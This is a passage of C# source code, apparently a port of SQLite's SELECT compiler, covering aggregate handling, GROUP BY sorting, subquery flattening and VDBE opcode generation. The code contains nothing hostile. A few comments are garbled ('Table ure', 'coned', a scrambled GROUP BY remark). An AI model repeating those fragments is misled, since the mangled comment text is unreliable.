for the sqlite3SelectTypeInfo() ** interface. ** ** For each FROM-clause subquery, add Column.zType and Column.zColl ** information to the Table ure that represents the result set ** of that subquery. ** ** The Table ure that represents the result set was coned ** by selectExpander() but the type and collation information was omitted ** at that point because identifiers had not yet been resolved. This ** routine is called after identifier resolution. */ static int selectAddSubqueryTypeInfo( Walker pWalker, Select p ) { Parse pParse; int i; SrcList pTabList; SrcList_item pFrom; Debug.Assert( ( p.selFlags & SF_Resolved ) != 0 ); Debug.Assert( ( p.selFlags & SF_HasTypeInfo ) == 0 ); p.selFlags |= SF_HasTypeInfo; pParse = pWalker.pParse; pTabList = p.pSrc; for ( i = 0 ; i < pTabList.nSrc ; i++ )//, pFrom++ ) { pFrom = pTabList.a[i]; Table pTab = pFrom.pTab; if ( ALWAYS( pTab != null ) && ( pTab.tabFlags & TF_Ephemeral ) != 0 ) { /* A sub-query in the FROM clause of a SELECT */ Select pSel = pFrom.pSelect; Debug.Assert( pSel != null ); while ( pSel.pPrior != null ) pSel = pSel.pPrior; selectAddColumnTypeAndCollation( pParse, pTab.nCol, pTab.aCol, pSel ); } } return WRC_Continue; } #endif /* ** This routine adds datatype and collating sequence information to ** the Table ures of all FROM-clause subqueries in a ** SELECT statement. ** ** Use this routine after name resolution. */ static void sqlite3SelectAddTypeInfo( Parse pParse, Select pSelect ) { #if !SQLITE_OMIT_SUBQUERY Walker w = new Walker(); w.xSelectCallback = selectAddSubqueryTypeInfo; w.xExprCallback = exprWalkNoop; w.pParse = pParse; sqlite3WalkSelect( w, pSelect ); #endif } /* ** This routine sets of a SELECT statement for processing. The ** following is accomplished: ** ** * VDBE VdbeCursor numbers are assigned to all FROM-clause terms. ** * Ephemeral Table objects are created for all FROM-clause subqueries. ** * ON and USING clauses are shifted into WHERE statements ** * Wildcards "*" and "TABLE.*" in result sets are expanded. ** * Identifiers in expression are matched to tables. ** ** This routine acts recursively on all subqueries within the SELECT. */ static void sqlite3SelectPrep( Parse pParse, /* The parser context */ Select p, /* The SELECT statement being coded. */ NameContext pOuterNC /* Name context for container */ ) { sqlite3 db; if ( NEVER( p == null ) ) return; db = pParse.db; if ( ( p.selFlags & SF_HasTypeInfo ) != 0 ) return; sqlite3SelectExpand( pParse, p ); if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) return; sqlite3ResolveSelectNames( pParse, p, pOuterNC ); if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) return; sqlite3SelectAddTypeInfo( pParse, p ); } /* ** Reset the aggregate accumulator. ** ** The aggregate accumulator is a set of memory cells that hold ** intermediate results while calculating an aggregate. This ** routine simply stores NULLs in all of those memory cells. */ static void resetAccumulator( Parse pParse, AggInfo pAggInfo ) { Vdbe v = pParse.pVdbe; int i; AggInfo_func pFunc; if ( pAggInfo.nFunc + pAggInfo.nColumn == 0 ) { return; } for ( i = 0 ; i < pAggInfo.nColumn ; i++ ) { sqlite3VdbeAddOp2( v, OP_Null, 0, pAggInfo.aCol[i].iMem ); } for ( i = 0 ; i < pAggInfo.nFunc ; i++ ) {//, pFunc++){ pFunc = pAggInfo.aFunc[i]; sqlite3VdbeAddOp2( v, OP_Null, 0, pFunc.iMem ); if ( pFunc.iDistinct >= 0 ) { Expr pE = pFunc.pExpr; Debug.Assert( !ExprHasProperty( pE, EP_xIsSelect ) ); if ( pE.x.pList == null || pE.x.pList.nExpr != 1 ) { sqlite3ErrorMsg( pParse, "DISTINCT aggregates must have exactly one " + "argument" ); pFunc.iDistinct = -1; } else { KeyInfo pKeyInfo = keyInfoFromExprList( pParse, pE.x.pList ); sqlite3VdbeAddOp4( v, OP_OpenEphemeral, pFunc.iDistinct, 0, 0, pKeyInfo, P4_KEYINFO_HANDOFF ); } } } } /* ** Invoke the OP_AggFinalize opcode for every aggregate function ** in the AggInfo structure. */ static void finalizeAggFunctions( Parse pParse, AggInfo pAggInfo ) { Vdbe v = pParse.pVdbe; int i; AggInfo_func pF; for ( i = 0 ; i < pAggInfo.nFunc ; i++ ) {//, pF++){ pF = pAggInfo.aFunc[i]; ExprList pList = pF.pExpr.x.pList; Debug.Assert( !ExprHasProperty( pF.pExpr, EP_xIsSelect ) ); sqlite3VdbeAddOp4( v, OP_AggFinal, pF.iMem, pList != null ? pList.nExpr : 0, 0, pF.pFunc, P4_FUNCDEF ); } } /* ** Update the accumulator memory cells for an aggregate based on ** the current cursor position. */ static void updateAccumulator( Parse pParse, AggInfo pAggInfo ) { Vdbe v = pParse.pVdbe; int i; AggInfo_func pF; AggInfo_col pC; pAggInfo.directMode = 1; sqlite3ExprCacheClear( pParse ); for ( i = 0 ; i < pAggInfo.nFunc ; i++ ) {//, pF++){ pF = pAggInfo.aFunc[i]; int nArg; int addrNext = 0; int regAgg; Debug.Assert( !ExprHasProperty( pF.pExpr, EP_xIsSelect ) ); ExprList pList = pF.pExpr.x.pList; if ( pList != null ) { nArg = pList.nExpr; regAgg = sqlite3GetTempRange( pParse, nArg ); sqlite3ExprCodeExprList( pParse, pList, regAgg, false ); } else { nArg = 0; regAgg = 0; } if ( pF.iDistinct >= 0 ) { addrNext = sqlite3VdbeMakeLabel( v ); Debug.Assert( nArg == 1 ); codeDistinct( pParse, pF.iDistinct, addrNext, 1, regAgg ); } if ( ( pF.pFunc.flags & SQLITE_FUNC_NEEDCOLL ) != 0 ) { CollSeq pColl = null; ExprList_item pItem; int j; Debug.Assert( pList != null ); /* pList!=0 if pF->pFunc has NEEDCOLL */ for ( j = 0 ; pColl == null && j < nArg ; j++ ) {//, pItem++){ pItem = pList.a[j]; pColl = sqlite3ExprCollSeq( pParse, pItem.pExpr ); } if ( pColl == null ) { pColl = pParse.db.pDfltColl; } sqlite3VdbeAddOp4( v, OP_CollSeq, 0, 0, 0, pColl, P4_COLLSEQ ); } sqlite3VdbeAddOp4( v, OP_AggStep, 0, regAgg, pF.iMem, pF.pFunc, P4_FUNCDEF ); sqlite3VdbeChangeP5( v, (u8)nArg ); sqlite3ReleaseTempRange( pParse, regAgg, nArg ); sqlite3ExprCacheAffinityChange( pParse, regAgg, nArg ); if ( addrNext != 0 ) { sqlite3VdbeResolveLabel( v, addrNext ); sqlite3ExprCacheClear( pParse ); } } for ( i = 0 ; i < pAggInfo.nAccumulator ; i++ )//, pC++) { pC = pAggInfo.aCol[i]; sqlite3ExprCode( pParse, pC.pExpr, pC.iMem ); } pAggInfo.directMode = 0; sqlite3ExprCacheClear( pParse ); } /* ** Generate code for the SELECT statement given in the p argument. ** ** The results are distributed in various ways depending on the ** contents of the SelectDest structure pointed to by argument pDest ** as follows: ** ** pDest.eDest Result ** ------------ ------------------------------------------- ** SRT_Output Generate a row of output (using the OP_ResultRow ** opcode) for each row in the result set. ** ** SRT_Mem Only valid if the result is a single column. ** Store the first column of the first result row ** in register pDest.iParm then abandon the rest ** of the query. This destination implies "LIMIT 1". ** ** SRT_Set The result must be a single column. Store each ** row of result as the key in table pDest.iParm. ** Apply the affinity pDest.affinity before storing ** results. Used to implement "IN (SELECT ...)". ** ** SRT_Union Store results as a key in a temporary table pDest.iParm. ** ** SRT_Except Remove results from the temporary table pDest.iParm. ** ** SRT_Table Store results in temporary table pDest.iParm. ** This is like SRT_EphemTab except that the table ** is assumed to already be open. ** ** SRT_EphemTab Create an temporary table pDest.iParm and store ** the result there. The cursor is left open after ** returning. This is like SRT_Table except that ** this destination uses OP_OpenEphemeral to create ** the table first. ** ** SRT_Coroutine Generate a co-routine that returns a new row of ** results each time it is invoked. The entry point ** of the co-routine is stored in register pDest.iParm. ** ** SRT_Exists Store a 1 in memory cell pDest.iParm if the result ** set is not empty. ** ** SRT_Discard Throw the results away. This is used by SELECT ** statements within triggers whose only purpose is ** the side-effects of functions. ** ** This routine returns the number of errors. If any errors are ** encountered, then an appropriate error message is left in ** pParse.zErrMsg. ** ** This routine does NOT free the Select structure passed in. The ** calling function needs to do that. */ static SelectDest sdDummy = null; static bool bDummy = false; static int sqlite3Select( Parse pParse, /* The parser context */ Select p, /* The SELECT statement being coded. */ ref SelectDest pDest /* What to do with the query results */ ) { int i, j; /* Loop counters */ WhereInfo pWInfo; /* Return from sqlite3WhereBegin() */ Vdbe v; /* The virtual machine under construction */ bool isAgg; /* True for select lists like "count(*)" */ ExprList pEList = new ExprList(); /* List of columns to extract. */ SrcList pTabList = new SrcList(); /* List of tables to select from */ Expr pWhere; /* The WHERE clause. May be NULL */ ExprList pOrderBy; /* The ORDER BY clause. May be NULL */ ExprList pGroupBy; /* The GROUP BY clause. May be NULL */ Expr pHaving; /* The HAVING clause. May be NULL */ bool isDistinct; /* True if the DISTINCT keyword is present */ int distinct; /* Table to use for the distinct set */ int rc = 1; /* Value to return from this function */ int addrSortIndex; /* Address of an OP_OpenEphemeral instruction */ AggInfo sAggInfo; /* Information used by aggregate queries */ int iEnd; /* Address of the end of the query */ sqlite3 db; /* The database connection */ db = pParse.db; if ( p == null /*|| db.mallocFailed != 0 */ || pParse.nErr != 0 ) { return 1; } #if !SQLITE_OMIT_AUTHORIZATION if (sqlite3AuthCheck(pParse, SQLITE_SELECT, 0, 0, 0)) return 1; #endif sAggInfo = new AggInfo();// memset(sAggInfo, 0, sAggInfo).Length; if ( pDest.eDest <= SRT_Discard ) //IgnorableOrderby(pDest)) { Debug.Assert( pDest.eDest == SRT_Exists || pDest.eDest == SRT_Union || pDest.eDest == SRT_Except || pDest.eDest == SRT_Discard ); /* If ORDER BY makes no difference in the output then neither does ** DISTINCT so it can be removed too. */ sqlite3ExprListDelete( db, ref p.pOrderBy ); p.pOrderBy = null; p.selFlags = (u16)( p.selFlags & ~SF_Distinct ); } sqlite3SelectPrep( pParse, p, null ); pOrderBy = p.pOrderBy; pTabList = p.pSrc; pEList = p.pEList; if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) { goto select_end; } isAgg = ( p.selFlags & SF_Aggregate ) != 0; Debug.Assert( pEList != null ); /* Begin generating code. */ v = sqlite3GetVdbe( pParse ); if ( v == null ) goto select_end; /* Generate code for all sub-queries in the FROM clause */ #if !SQLITE_OMIT_SUBQUERY || !SQLITE_OMIT_VIEW for ( i = 0 ; p.pPrior == null && i < pTabList.nSrc ; i++ ) { SrcList_item pItem = pTabList.a[i]; SelectDest dest = new SelectDest(); Select pSub = pItem.pSelect; bool isAggSub; if ( pSub == null || pItem.isPopulated != 0 ) continue; /* Increment Parse.nHeight by the height of the largest expression ** tree refered to by this, the parent select. The child select ** may contain expression trees of at most ** (SQLITE_MAX_EXPR_DEPTH-Parse.nHeight) height. This is a bit ** more conservative than necessary, but much easier than enforcing ** an exact limit. */ pParse.nHeight += sqlite3SelectExprHeight( p ); /* Check to see if the subquery can be absorbed into the parent. */ isAggSub = ( pSub.selFlags & SF_Aggregate ) != 0; if ( flattenSubquery( pParse, p, i, isAgg, isAggSub ) != 0 ) { if ( isAggSub ) { isAgg = true; p.selFlags |= SF_Aggregate; } i = -1; } else { sqlite3SelectDestInit( dest, SRT_EphemTab, pItem.iCursor ); Debug.Assert( 0 == pItem.isPopulated ); sqlite3Select( pParse, pSub, ref dest ); pItem.isPopulated = 1; } //if ( /* pParse.nErr != 0 || */ db.mallocFailed != 0 ) //{ // goto select_end; //} pParse.nHeight -= sqlite3SelectExprHeight( p ); pTabList = p.pSrc; if ( !( pDest.eDest <= SRT_Discard ) )// if( !IgnorableOrderby(pDest) ) { pOrderBy = p.pOrderBy; } } pEList = p.pEList; #endif pWhere = p.pWhere; pGroupBy = p.pGroupBy; pHaving = p.pHaving; isDistinct = ( p.selFlags & SF_Distinct ) != 0; #if !SQLITE_OMIT_COMPOUND_SELECT /* If there is are a sequence of queries, do the earlier ones first. */ if ( p.pPrior != null ) { if ( p.pRightmost == null ) { Select pLoop, pRight = null; int cnt = 0; int mxSelect; for ( pLoop = p ; pLoop != null ; pLoop = pLoop.pPrior, cnt++ ) { pLoop.pRightmost = p; pLoop.pNext = pRight; pRight = pLoop; } mxSelect = db.aLimit[SQLITE_LIMIT_COMPOUND_SELECT]; if ( mxSelect != 0 && cnt > mxSelect ) { sqlite3ErrorMsg( pParse, "too many terms in compound SELECT" ); return 1; } } return multiSelect( pParse, p, pDest ); } #endif /* If writing to memory or generating a set ** only a single column may be output. */ #if !SQLITE_OMIT_SUBQUERY if ( checkForMultiColumnSelectError( pParse, pDest, pEList.nExpr ) ) { goto select_end; } #endif /* If possible, rewrite the query to use GROUP BY instead of DISTINCT. ** GROUP BY might use an index, DISTINCT never does. */ Debug.Assert( p.pGroupBy == null || ( p.selFlags & SF_Aggregate ) != 0 ); if ( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Distinct ) { p.pGroupBy = sqlite3ExprListDup( db, p.pEList, 0 ); pGroupBy = p.pGroupBy; p.selFlags = (u16)( p.selFlags & ~SF_Distinct ); isDistinct = false; } /* If there is an ORDER BY clause, then this sorting ** index might end up being unused if the data can be ** extracted in pre-sorted order. If that is the case, then the ** OP_OpenEphemeral instruction will be changed to an OP_Noop once ** we figure out that the sorting index is not needed. The addrSortIndex ** variable is used to facilitate that change. */ if ( pOrderBy != null ) { KeyInfo pKeyInfo; pKeyInfo = keyInfoFromExprList( pParse, pOrderBy ); pOrderBy.iECursor = pParse.nTab++; p.addrOpenEphm[2] = addrSortIndex = sqlite3VdbeAddOp4( v, OP_OpenEphemeral, pOrderBy.iECursor, pOrderBy.nExpr + 2, 0, pKeyInfo, P4_KEYINFO_HANDOFF ); } else { addrSortIndex = -1; } /* If the output is destined for a temporary table, open that table. */ if ( pDest.eDest == SRT_EphemTab ) { sqlite3VdbeAddOp2( v, OP_OpenEphemeral, pDest.iParm, pEList.nExpr ); } /* Set the limiter. */ iEnd = sqlite3VdbeMakeLabel( v ); computeLimitRegisters( pParse, p, iEnd ); /* Open a virtual index to use for the distinct set. */ if ( isDistinct ) { KeyInfo pKeyInfo; Debug.Assert( isAgg || pGroupBy != null ); distinct = pParse.nTab++; pKeyInfo = keyInfoFromExprList( pParse, p.pEList ); sqlite3VdbeAddOp4( v, OP_OpenEphemeral, distinct, 0, 0, pKeyInfo, P4_KEYINFO_HANDOFF ); } else { distinct = -1; } /* Aggregate and non-aggregate queries are handled differently */ if ( !isAgg && pGroupBy == null ) { /* This case is for non-aggregate queries ** Begin the database scan */ pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref pOrderBy, 0 ); if ( pWInfo == null ) goto select_end; /* If sorting index that was created by a prior OP_OpenEphemeral ** instruction ended up not being needed, then change the OP_OpenEphemeral ** into an OP_Noop. */ if ( addrSortIndex >= 0 && pOrderBy == null ) { sqlite3VdbeChangeToNoop( v, addrSortIndex, 1 ); p.addrOpenEphm[2] = -1; } /* Use the standard inner loop */ Debug.Assert( !isDistinct ); selectInnerLoop( pParse, p, pEList, 0, 0, pOrderBy, -1, pDest, pWInfo.iContinue, pWInfo.iBreak ); /* End the database scan loop. */ sqlite3WhereEnd( pWInfo ); } else { /* This is the processing for aggregate queries */ NameContext sNC; /* Name context for processing aggregate information */ int iAMem; /* First Mem address for storing current GROUP BY */ int iBMem; /* First Mem address for previous GROUP BY */ int iUseFlag; /* Mem address holding flag indicating that at least ** one row of the input to the aggregator has been ** processed */ int iAbortFlag; /* Mem address which causes query abort if positive */ int groupBySort; /* Rows come from source in GR BY' clause thanROUP BY order */ int addrEnd; /* End of processing for this SELECT */ /* Remove any and all aliases between the result set and the ** GROUP BY clause. */ if ( pGroupBy != null ) { int k; /* Loop counter */ ExprList_item pItem; /* For looping over expression in a list */ for ( k = p.pEList.nExpr ; k > 0 ; k-- )//, pItem++) { pItem = p.pEList.a[p.pEList.nExpr - k]; pItem.iAlias = 0; } for ( k = pGroupBy.nExpr ; k > 0 ; k-- )//, pItem++ ) { pItem = pGroupBy.a[pGroupBy.nExpr - k]; pItem.iAlias = 0; } } /* Create a label to jump to when we want to abort the query */ addrEnd = sqlite3VdbeMakeLabel( v ); /* Convert TK_COLUMN nodes into TK_AGG_COLUMN and make entries in ** sAggInfo for all TK_AGG_FUNCTION nodes in expressions of the ** SELECT statement. */ sNC = new NameContext(); // memset(sNC, 0, sNC).Length; sNC.pParse = pParse; sNC.pSrcList = pTabList; sNC.pAggInfo = sAggInfo; sAggInfo.nSortingColumn = pGroupBy != null ? pGroupBy.nExpr + 1 : 0; sAggInfo.pGroupBy = pGroupBy; sqlite3ExprAnalyzeAggList( sNC, pEList ); sqlite3ExprAnalyzeAggList( sNC, pOrderBy ); if ( pHaving != null ) { sqlite3ExprAnalyzeAggregates( sNC, ref pHaving ); } sAggInfo.nAccumulator = sAggInfo.nColumn; for ( i = 0 ; i < sAggInfo.nFunc ; i++ ) { Debug.Assert( !ExprHasProperty( sAggInfo.aFunc[i].pExpr, EP_xIsSelect ) ); sqlite3ExprAnalyzeAggList( sNC, sAggInfo.aFunc[i].pExpr.x.pList ); } // if ( db.mallocFailed != 0 ) goto select_end; /* Processing for aggregates with GROUP BY is very different and ** much more complex than aggregates without a GROUP BY. */ if ( pGroupBy != null ) { KeyInfo pKeyInfo; /* Keying information for the group by clause */ int j1; /* A-vs-B comparision jump */ int addrOutputRow; /* Start of subroutine that outputs a result row */ int regOutputRow; /* Return address register for output subroutine */ int addrSetAbort; /* Set the abort flag and return */ int addrTopOfLoop; /* Top of the input loop */ int addrSortingIdx; /* The OP_OpenEphemeral for the sorting index */ int addrReset; /* Subroutine for resetting the accumulator */ int regReset; /* Return address register for reset subroutine */ /* If there is a GROUP BY clause we might need a sorting index to ** implement it. Allocate that sorting index now. If it turns out ** that we do not need it after all, the OpenEphemeral instruction ** will be converted into a Noop. */ sAggInfo.sortingIdx = pParse.nTab++; pKeyInfo = keyInfoFromExprList( pParse, pGroupBy ); addrSortingIdx = sqlite3VdbeAddOp4( v, OP_OpenEphemeral, sAggInfo.sortingIdx, sAggInfo.nSortingColumn, 0, pKeyInfo, P4_KEYINFO_HANDOFF ); /* Initialize memory locations used by GROUP BY aggregate processing */ iUseFlag = ++pParse.nMem; iAbortFlag = ++pParse.nMem; regOutputRow = ++pParse.nMem; addrOutputRow = sqlite3VdbeMakeLabel( v ); regReset = ++pParse.nMem; addrReset = sqlite3VdbeMakeLabel( v ); iAMem = pParse.nMem + 1; pParse.nMem += pGroupBy.nExpr; iBMem = pParse.nMem + 1; pParse.nMem += pGroupBy.nExpr; sqlite3VdbeAddOp2( v, OP_Integer, 0, iAbortFlag ); #if SQLITE_DEBUG VdbeComment( v, "clear abort flag" ); #endif sqlite3VdbeAddOp2( v, OP_Integer, 0, iUseFlag ); #if SQLITE_DEBUG VdbeComment( v, "indicate accumulator empty" ); #endif /* Begin a loop that will extract all source rows in GROUP BY order. ** This might involve two separate loops with an OP_Sort in between, or ** it might be a single loop that uses an index to extract information ** in the right order to begin with. */ sqlite3VdbeAddOp2( v, OP_Gosub, regReset, addrReset ); pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref pGroupBy, 0 ); if ( pWInfo == null ) goto select_end; if ( pGroupBy == null ) { /* The optimizer is able to deliver rows in group by order so ** we do not have to sort. The OP_OpenEphemeral table will be ** cancelled later because we still need to use the pKeyInfo */ pGroupBy = p.pGroupBy; groupBySort = 0; } else { /* Rows are coming out in undetermined order. We have to push ** each row into a sorting index, terminate the first loop, ** then loop over the sorting index in order to get the output ** in sorted order */ int regBase; int regRecord; int nCol; int nGroupBy; groupBySort = 1; nGroupBy = pGroupBy.nExpr; nCol = nGroupBy + 1; j = nGroupBy + 1; for ( i = 0 ; i < sAggInfo.nColumn ; i++ ) { if ( sAggInfo.aCol[i].iSorterColumn >= j ) { nCol++; j++; } } regBase = sqlite3GetTempRange( pParse, nCol ); sqlite3ExprCacheClear( pParse ); sqlite3ExprCodeExprList( pParse, pGroupBy, regBase, false ); sqlite3VdbeAddOp2( v, OP_Sequence, sAggInfo.sortingIdx, regBase + nGroupBy ); j = nGroupBy + 1; for ( i = 0 ; i < sAggInfo.nColumn ; i++ ) { AggInfo_col pCol = sAggInfo.aCol[i]; if ( pCol.iSorterColumn >= j ) { int r1 = j + regBase; int r2; r2 = sqlite3ExprCodeGetColumn( pParse, pCol.pTab, pCol.iColumn, pCol.iTable, r1, false ); if ( r1 != r2 ) { sqlite3VdbeAddOp2( v, OP_SCopy, r2, r1 ); } j++; } } regRecord = sqlite3GetTempReg( pParse ); sqlite3VdbeAddOp3( v, OP_MakeRecord, regBase, nCol, regRecord ); sqlite3VdbeAddOp2( v, OP_IdxInsert, sAggInfo.sortingIdx, regRecord ); sqlite3ReleaseTempReg( pParse, regRecord ); sqlite3ReleaseTempRange( pParse, regBase, nCol ); sqlite3WhereEnd( pWInfo ); sqlite3VdbeAddOp2( v, OP_Sort, sAggInfo.sortingIdx, addrEnd ); #if SQLITE_DEBUG VdbeComment( v, "GROUP BY sort" ); #endif sAggInfo.useSortingIdx = 1; sqlite3ExprCacheClear( pParse ); } /* Evaluate the current GROUP BY terms and store in b0, b1, b2... ** (b0 is memory location iBMem+0, b1 is iBMem+1, and so forth) ** Then compare the current GROUP BY terms against the GROUP BY terms ** from the previous row currently stored in a0, a1, a2... */ addrTopOfLoop = sqlite3VdbeCurrentAddr( v ); sqlite3ExprCacheClear( pParse ); for ( j = 0 ; j < pGroupBy.nExpr ; j++ ) { if ( groupBySort != 0 ) { sqlite3VdbeAddOp3( v, OP_Column, sAggInfo.sortingIdx, j, iBMem + j ); } else { sAggInfo.directMode = 1; sqlite3ExprCode( pParse, pGroupBy.a[j].pExpr, iBMem + j ); } } sqlite3VdbeAddOp4( v, OP_Compare, iAMem, iBMem, pGroupBy.nExpr, pKeyInfo, P4_KEYINFO ); j1 = sqlite3VdbeCurrentAddr( v ); sqlite3VdbeAddOp3( v, OP_Jump, j1 + 1, 0, j1 + 1 ); /* Generate code that runs whenever the GROUP BY changes. ** Changes in the GROUP BY are detected by the previous code ** block. If there were no changes, this block is skipped. ** ** This code copies current group by terms in b0,b1,b2,... ** over to a0,a1,a2. It then calls the output subroutine ** and resets the aggregate accumulator registers in preparation ** for the next GROUP BY batch. */ sqlite3ExprCodeMove( pParse, iBMem, iAMem, pGroupBy.nExpr ); sqlite3VdbeAddOp2( v, OP_Gosub, regOutputRow, addrOutputRow ); #if SQLITE_DEBUG VdbeComment( v, "output one row" ); #endif sqlite3VdbeAddOp2( v, OP_IfPos, iAbortFlag, addrEnd ); #if SQLITE_DEBUG VdbeComment( v, "check abort flag" ); #endif sqlite3VdbeAddOp2( v, OP_Gosub, regReset, addrReset ); #if SQLITE_DEBUG VdbeComment( v, "reset accumulator" ); #endif /* Update the aggregate accumulators based on the content of ** the current row */ sqlite3VdbeJumpHere( v, j1 ); updateAccumulator( pParse, sAggInfo ); sqlite3VdbeAddOp2( v, OP_Integer, 1, iUseFlag ); #if SQLITE_DEBUG VdbeComment( v, "indicate data in accumulator" ); #endif /* End of the loop */ if ( groupBySort != 0 ) { sqlite3VdbeAddOp2( v, OP_Next, sAggInfo.sortingIdx, addrTopOfLoop ); } else { sqlite3WhereEnd( pWInfo ); sqlite3VdbeChangeToNoop( v, addrSortingIdx, 1 ); } /* Output the final row of result */ sqlite3VdbeAddOp2( v, OP_Gosub, regOutputRow, addrOutputRow ); #if SQLITE_DEBUG VdbeComment( v, "output final row" ); #endif /* Jump over the subroutines */ sqlite3VdbeAddOp2( v, OP_Goto, 0, addrEnd ); /* Generate a subroutine that outputs a single row of the result ** set. This subroutine first looks at the iUseFlag. If iUseFlag ** is less than or equal to zero, the subroutine is a no-op. If ** the processing calls for the query to abort, this subroutine ** increments the iAbortFlag memory location before returning in ** order to signal the caller to abort. */ addrSetAbort = sqlite3VdbeCurrentAddr( v ); sqlite3VdbeAddOp2( v, OP_Integer, 1, iAbortFlag ); VdbeComment( v, "set abort flag" ); sqlite3VdbeAddOp1( v, OP_Return, regOutputRow ); sqlite3VdbeResolveLabel( v, addrOutputRow ); addrOutputRow = sqlite3VdbeCurrentAddr( v ); sqlite3VdbeAddOp2( v, OP_IfPos, iUseFlag, addrOutputRow + 2 ); VdbeComment( v, "Groupby result generator entry point" ); sqlite3VdbeAddOp1( v, OP_Return, regOutputRow ); finalizeAggFunctions( pParse, sAggInfo ); sqlite3ExprIfFalse( pParse, pHaving, addrOutputRow + 1, SQLITE_JUMPIFNULL ); selectInnerLoop( pParse, p, p.pEList, 0, 0, pOrderBy, distinct, pDest, addrOutputRow + 1, addrSetAbort ); sqlite3VdbeAddOp1( v, OP_Return, regOutputRow ); VdbeComment( v, "end groupby result generator" ); /* Generate a subroutine that will reset the group-by accumulator */ sqlite3VdbeResolveLabel( v, addrReset ); resetAccumulator( pParse, sAggInfo ); sqlite3VdbeAddOp1( v, OP_Return, regReset ); } /* endif pGroupBy. Begin aggregate queries without GROUP BY: */ else { ExprList pDel = null; #if !SQLITE_OMIT_BTREECOUNT Table pTab; if ( ( pTab = isSimpleCount( p, sAggInfo ) ) != null ) { /* If isSimpleCount() returns a pointer to a Table structure, then ** the SQL statement is of the form: ** ** SELECT count(*) FROM ** ** where the Table structure returned represents table . ** ** This statement is so common that it is optimized specially. The ** OP_Count instruction is executed either on the intkey table that ** contains the data for table or on one of its indexes. It ** is better to execute the op on an index, as indexes are almost ** always spread across less pages than their corresponding tables. */ int iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); int iCsr = pParse.nTab++; /* Cursor to scan b-tree */ Index pIdx; /* Iterator variable */ KeyInfo pKeyInfo = null; /* Keyinfo for scanned index */ Index pBest = null; /* Best index found so far */ int iRoot = pTab.tnum; /* Root page of scanned b-tree */ sqlite3CodeVerifySchema( pParse, iDb ); sqlite3TableLock( pParse, iDb, pTab.tnum, 0, pTab.zName ); /* Search for the index that has the least amount of columns. If ** there is such an index, and it has less columns than the table ** does, then we can assume that it consumes less space on disk and ** will therefore be cheaper to scan to determine the query result. ** In this case set iRoot to the root page number of the index b-tree ** and pKeyInfo to the KeyInfo structure required to navigate the ** index. ** ** In practice the KeyInfo structure will not be used. It is only ** passed to keep OP_OpenRead happy. */ for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) { if ( null == pBest || pIdx.nColumn < pBest.nColumn ) { pBest = pIdx; } } if ( pBest != null && pBest.nColumn < pTab.nCol ) { iRoot = pBest.tnum; pKeyInfo = sqlite3IndexKeyinfo( pParse, pBest ); } /* Open a read-only cursor, execute the OP_Count, close the cursor. */ sqlite3VdbeAddOp3( v, OP_OpenRead, iCsr, iRoot, iDb ); if ( pKeyInfo != null ) { sqlite3VdbeChangeP4( v, -1, pKeyInfo, P4_KEYINFO_HANDOFF ); } sqlite3VdbeAddOp2( v, OP_Count, iCsr, sAggInfo.aFunc[0].iMem ); sqlite3VdbeAddOp1( v, OP_Close, iCsr ); } else #endif //* SQLITE_OMIT_BTREECOUNT */ { /* Check if the query is of one of the following forms: ** ** SELECT min(x) FROM ... ** SELECT max(x) FROM ... ** ** If it is, then ask the code in where.c to attempt to sort results ** as if there was an "ORDER ON x" or "ORDER ON x DESC" clause. ** If where.c is able to produce results sorted in this order, then ** add vdbe code to break out of the processing loop after the ** first iteration (since the first iteration of the loop is ** guaranteed to operate on the row with the minimum or maximum ** value of x, the only row required). ** ** A special flag must be passed to sqlite3WhereBegin() to slightly ** modify behavior as follows: ** ** + If the query is a "SELECT min(x)", then the loop coded by ** where.c should not iterate over any values with a NULL value ** for x. ** ** + The optimizer code in where.c (the thing that decides which ** index or indices to use) should place a different priority on ** satisfying the 'ORDER BY' clause than it does in other cases. ** Refer to code and comments in where.c for details. */ ExprList pMinMax = null; int flag = minMaxQuery( p ); if ( flag != 0 ) { Debug.Assert( !ExprHasProperty( p.pEList.a[0].pExpr, EP_xIsSelect ) ); pMinMax = sqlite3ExprListDup( db, p.pEList.a[0].pExpr.x.pList, 0 ); pDel = pMinMax; if ( pMinMax != null )///* && 0 == db.mallocFailed */ ) { pMinMax.a[0].sortOrder = (u8)( flag != WHERE_ORDERBY_MIN ? 1 : 0 ); pMinMax.a[0].pExpr.op = TK_COLUMN; } } /* This case runs if the aggregate has no GROUP BY clause. The ** processing is much simpler since there is only a single row ** of output. */ resetAccumulator( pParse, sAggInfo ); pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref pMinMax, (byte)flag ); if ( pWInfo == null ) { sqlite3ExprListDelete( db, ref pDel ); goto select_end; } updateAccumulator( pParse, sAggInfo ); if ( pMinMax == null && flag != 0 ) { sqlite3VdbeAddOp2( v, OP_Goto, 0, pWInfo.iBreak ); #if SQLITE_DEBUG VdbeComment( v, "%s() by index", ( flag == WHERE_ORDERBY_MIN ? "min" : "max" ) ); #endif } sqlite3WhereEnd( pWInfo ); finalizeAggFunctions( pParse, sAggInfo ); } pOrderBy = null; sqlite3ExprIfFalse( pParse, pHaving, addrEnd, SQLITE_JUMPIFNULL ); selectInnerLoop( pParse, p, p.pEList, 0, 0, null, -1, pDest, addrEnd, addrEnd ); sqlite3ExprListDelete( db, ref pDel ); } sqlite3VdbeResolveLabel( v, addrEnd ); } /* endif aggregate query */ /* If there is an ORDER BY clause, then we need to sort the results ** and send them to the callback one by one. */ if ( pOrderBy != null ) { generateSortTail( pParse, p, v, pEList.nExpr, pDest ); } /* Jump here to skip this query */ sqlite3VdbeResolveLabel( v, iEnd ); /* The SELECT was successfully coded. Set the return code to 0 ** to indicate no errors. */ rc = 0; /* Control jumps to here if an error is encountered above, or upon ** successful coding of the SELECT. */ select_end: /* Identify column names if results of the SELECT are to be output. */ if ( rc == SQLITE_OK && pDest.eDest == SRT_Output ) { generateColumnNames( pParse, pTabList, pEList ); } //sqlite3DbFree( db, ref sAggInfo.aCol ); //sqlite3DbFree( db, ref sAggInfo.aFunc ); return rc; } #if SQLITE_DEBUG /* ******************************************************************************* ** The following code is used for 